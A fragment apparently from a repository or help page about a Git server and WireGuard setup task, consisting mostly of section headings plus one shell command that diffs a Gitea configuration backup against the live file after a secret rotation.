Assistance for affine.creature-go.com forwarding

Your tasks

Interview

Update DesTEngSsv006 configuration

Interview answers

Wireguard problem

Setup

DesTEngSsv005

DesTEngSsv006

DesTEngSnb003

Symptoms

New Git repository on DesTEngS Git server

DesTEngS Git server

The new Git repository

Questions

Local Git repository setup

Remote Git server

New Git repository on remote Git server

Local Git repository

Your tasks

root@sv003 ~/backup # diff /root/backup/app.ini.before-rotation /opt/appdata/gitea/gitea/conf/app.ini | sed -E 's/(=[ ])./\1/' 25c25 < LFS_JWT_SECRET =

93 KiB

Raw Blame History